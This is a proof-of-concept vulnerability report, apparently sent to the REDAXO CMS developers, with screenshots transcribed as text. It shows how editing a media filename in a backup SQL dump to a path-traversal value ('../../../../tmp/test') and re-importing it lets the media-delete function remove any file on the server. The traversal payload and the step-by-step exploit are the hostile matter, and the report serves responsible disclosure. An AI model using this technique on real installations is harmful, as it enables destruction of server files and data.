

POC bug in REDAXO(cms) product:

During testing of your application, we identified a vulnerability in REDAXO that allows any file on the system to be deleted via the "delete media" feature by changing the file name "filename" via the "filename" function of "backup plugin".

The implementation process goes as follows:

1. upload file mew.png with title="test"

The screenshot shows the REDAXO CMS Mediapool interface. The URL in the browser is `localhost/redaxo/redaxo/index.php?page=mediapool/upload`. The page title is **REDAXO® cms** and the section title is **Mediapool**. The top navigation bar includes links for **Files**, **Add file**, **Manage categories**, and **Synchronise files**. The main content area is titled **Add file**. It contains fields for **Category** (set to "No category"), **Title** (set to "test"), and **File** (with a "Browse..." button and the path "mew.png"). Below these fields is a **PHP.ini Settings** section with two entries: **Max. upload size:** 2,00 MiB and **Max. uploadtime:** 60s. At the bottom of the form is a green **Add** button.

File *mew.png* was uploaded but renamed to *mew_3.png* because file *mew.png* already exists on my media folder.

Files Add file Manage categories Synchronise files

File added!

List of media in category "No category"

	Thumbnail	File info / Description	Last update	Functions
<input type="checkbox"/>		test mew_3.png 103,48 KiB	27 Feb 2024, 10:01 admin	edit

Select all Selected media: [delete](#)

2. Perform data backup

localhost/redaxo/index.php?page=backup/export

System AddOns Backup Media Manager Meta Infos

Type of export Create database backup Create file backup

Select tables rex_action
rex_article
rex_article_slice
rex_clang
rex_config
rex_media
rex_media_category
rex_media_manager_type
rex_media_manager_type_effect
rex_metainfo_field
rex_metainfo_type
rex_module
rex_module_action
rex_template
rex_user
rex_user_passkey
rex_user_role
rex_user_session

Select save location Save on server Download as file

Filename redaxo_20240227_1001_rex5.16.0

export

↑ yakamara.de redaxo.org Read the docs Credits 0,025 sec.

Reading the backup file I see mew_3.png

```

Users > copy > Downloads > redaxo_20240227_1002_rex5.16.0.sql
186   `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci > mew_3
187   `originalname` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
188   `filesize` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL,
189   `width` int unsigned DEFAULT NULL,
190   `height` int unsigned DEFAULT NULL,
191   `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL,
192   `createdate` datetime NOT NULL,
193   `createuser` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
194   `updatedate` datetime NOT NULL,
195   `updateuser` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
196   `revision` int unsigned NOT NULL,
197   PRIMARY KEY (`id`),
198   UNIQUE KEY `filename` (`filename`),
199   KEY `category_id` (`category_id`)
200 ) ENGINE=InnoDB AUTO_INCREMENT=41 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
201
202 LOCK TABLES `rex_media` WRITE;
203 /*!40000 ALTER TABLE `rex_media` DISABLE KEYS */;
204 INSERT INTO `rex_media` VALUES
205 | (40,0,NULL,'image/jpeg','mew_3.png','mew.png','105962',1024,713,'test','2024-02-27 10:01:11','admin','2024-02-27 10:01:11','ac
206 /*!40000 ALTER TABLE `rex_media` ENABLE KEYS */;
207 UNLOCK TABLES;
208
209 DROP TABLE IF EXISTS `rex_media_category`;
210 CREATE TABLE `rex_media_category` (
211   `id` int unsigned NOT NULL AUTO_INCREMENT,
212   `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
213   `parent_id` int unsigned NOT NULL,
214   `path` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
215   `createdate` datetime NOT NULL,
216   `createuser` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
217   `updatedate` datetime NOT NULL,
218   `updateuser` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
219   `attributes` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci,
220   `revision` int unsigned NOT NULL,
221   PRIMARY KEY (`id`),
222   KEY `parent_id` (`parent_id`)
223 ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
224 DROP TABLE IF EXISTS `rex_media_manager_type`;

```

4. When I test the file deletion function, the unlink function deletes the file based on the \$filename => when I rename the \$filename, the path to delete the file will also change.

```

service_media.php X file.php M media.php httpd.conf api_article_edit.php service_media_category.php > mew_3 Aa ab * No results ↑ ↓ ≡ ×
redaxo > src > addons > mediapool > lib > service_media.php > PHP > rex_media_service > deleteMedia()
● 245     $media = rex_media::get($filename);
246     if (!$media) {
247         throw new rex_api_exception(rex_i18n::msg('pool_file_not_found', $filename));
248     }
249
250     if ($uses = rex_mediapool::mediaIsInUse($filename)) {
251         throw new rex_api_exception(rex_i18n::msg('pool_file_delete_error', $filename) . ' ' . rex_i18n::msg('pool_object_in_use'));
252     }
253
254     $sql = rex_sql::factory();
255     $sql->setQuery('DELETE FROM ' . rex::getTable('media') . ' WHERE filename = ? LIMIT 1', [$filename]);
256
257     rex_file::delete(rex_path::media($filename));
258
file.php /opt/homebrew/var/www/redaxo/redaxo/src/core/lib/util - Definitions (2)
225     *
226     * @param string $file Path of the file
227     *
228     * @return bool TRUE on success, FALSE on failure
229     */
230     41 references | 0 overrides
231     public static function delete($file)
232     {
233         return rex_timer::measure(__METHOD__, static function () use ($file) {
234             // throw new rex_api_exception(rex_i18n::msg($file));
235             $tryunlink = @unlink($file);
236
237             // re-try without error suppression to compensate possible race conditions
238             if (!$tryunlink) {
239                 rex_media_cache::delete($filename);
240
241                 rex_extension::registerPoint(new rex_extension_point('MEDIA_DELETED', '', [
242                     'filename' => $filename,
243                 ]));
244             }
245         });
246     }

```

5. I created the file `/tmp/test` with the information "test"

```

copv@Cos-MacBook-Pro ~ % echo "test1"> /tmp/test
[copy@Cos-MacBook-Pro ~ % brew/var/www/redaxo/redaxo/src/addons/media_manager/pages/effect
[copy@Cos-MacBook-Pro ~ % cat /tmp/test Feb 27 15:05:47.267638 2024] [php:error] [pid 11588] [client 127.0.0.1:505
test1
() must take exactly 1 argument in /opt/homebrew/var/www/moodle/lib/moodlelib.p
copv@Cos-MacBook-Pro ~ %

[Tue Feb 27 15:20:02.739890 2024] [authz_core:error] [pid 55981] [client 127.0.
tion: /opt/homebrew/var/www/redaxo/redaxo/bin/console, referer: http://localhost
[Tue Feb 27 15:20:02.744743 2024] [authz_core:error] [pid 11590] [client 127.0.
tion: /opt/homebrew/var/www/redaxo/redaxo/data/.redaxo, referer: http://localhost
[Tue Feb 27 15:20:02.746522 2024] [authz_core:error] [pid 11592] [client 127.0.
tion: /opt/homebrew/var/www/redaxo/redaxo/src/core/boot.php, referer: http://lo
[Tue Feb 27 15:20:02.745005 2024] [authz_core:error] [pid 11588] [client 127.0.
tion: /opt/homebrew/var/www/redaxo/redaxo/cache/.redaxo, referer: http://localhost
[Tue Feb 27 15:27:51.532901 2024] [php:notice] [pid 55972] [client 127.0.0.1:51
p://localhost/redaxo/redaxo/index.php?page=backup/import/upload
[Tue Feb 27 15:30:29.902511 2024] [php:notice] [pid 55934] [client 127.0.0.1:51

```

6. Change `$filename` in backup file from `mew_3.png` to `../../../../tmp/test`

```

Users > copy > Downloads > redaxo_20240227_1002_rex5.16.0.sql
186   `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci > mew_3
187   `originalname` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL,
188   `filesize` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL,
189   `width` int unsigned DEFAULT NULL,
190   `height` int unsigned DEFAULT NULL,
191   `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL,
192   `createdate` datetime NOT NULL,
193   `createuser` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
194   `updatedate` datetime NOT NULL,
195   `updateuser` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
196   `revision` int unsigned NOT NULL,
197 PRIMARY KEY (`id`),
198 UNIQUE KEY `filename` (`filename`),
199 KEY `category_id` (`category_id`)
200 ) ENGINE=InnoDB AUTO_INCREMENT=41 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
201
202 LOCK TABLES `rex_media` WRITE;
203 /*!40000 ALTER TABLE `rex_media` DISABLE KEYS */;
204 INSERT INTO `rex_media` VALUES
205 | (40,0,NULL,'image/jpeg','|../../../../../tmp/test','mew.png','105962','1024,713','test','2024-02-27 10:01:11','admin','2024-02-27 10:01:11','admin');
206 /*!40000 ALTER TABLE `rex_media` ENABLE KEYS */;
207 UNLOCK TABLES;
208
209 DROP TABLE IF EXISTS `rex_media_category`;
210 CREATE TABLE `rex_media_category` (
211   `id` int unsigned NOT NULL AUTO_INCREMENT,
212   `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
213   `parent_id` int unsigned NOT NULL,
214   `path` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
215   `createdate` datetime NOT NULL,
216   `createuser` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
217   `updatedate` datetime NOT NULL,
218   `updateuser` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
219   `attributes` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci,
220   `revision` int unsigned NOT NULL,
221 PRIMARY KEY (`id`),
222 KEY `parent_id` (`parent_id`)

```

7. Back up data from the modified backup file.

Backup

Export **Import**

Upload **Download from server**

Notice

Please take note that the current database **will be deleted** when importing a new one. To be safe create a backup of the existing database by exporting it first.

When importing files existing files with the same filename will be replaced, files inside subfolders will not be changed.

Backups from older REDAXO versions and/or AddOns may not be fully compatible and may lead to problems after importing.

PHP.ini Settings

Max. upload size: 2,00 MiB
 Max. upload time: 60s

Restore database backup

File redaxo_20240227_1002_rex5.16.0.sql

Restore file backup

8. Filename has been modified to ../../../../../../tmp/test

localhost/redaxo/redaxo/index.php?page=mediapool/media&opener_input_field=

REDAXO® cms Mediapool

Files Add file Manage categories Synchronise files

List of media in category "No category" No category

+ Thumbnail	File info / Description	Last update	Functions
<input type="checkbox"/> 	test/..../..../..../tmp/test 103,48 KiB	27 Feb 2024, 10:01 admin	edit

Select all Selected media:

9. Proceed to delete the file

localhost/redaxo/redaxo/index.php?page=mediapool/media

REDAXO® cms Mediapool

Files Add file Manage categories Synchronise files

1 Files have been deleted.

List of media in category "No category" No category

+ Thumbnail	File info / Description	Last update	Functions
No files in this category			

Select all Selected media:

10. My /tmp/test file has been deleted from the system.

```
[copv@Cos-MacBook-Pro ~ % echo "test1" > /tmp/test
[copv@Cos-MacBook-Pro ~ % cat /tmp/test
test1
[copv@Cos-MacBook-Pro ~ % cat /tmp/test
cat: /tmp/test: No such file or directory
copv@Cos-MacBook-Pro ~ % _
```

23.8 KB — mof.gov.vn — Yesterday

Create by *0xcopv*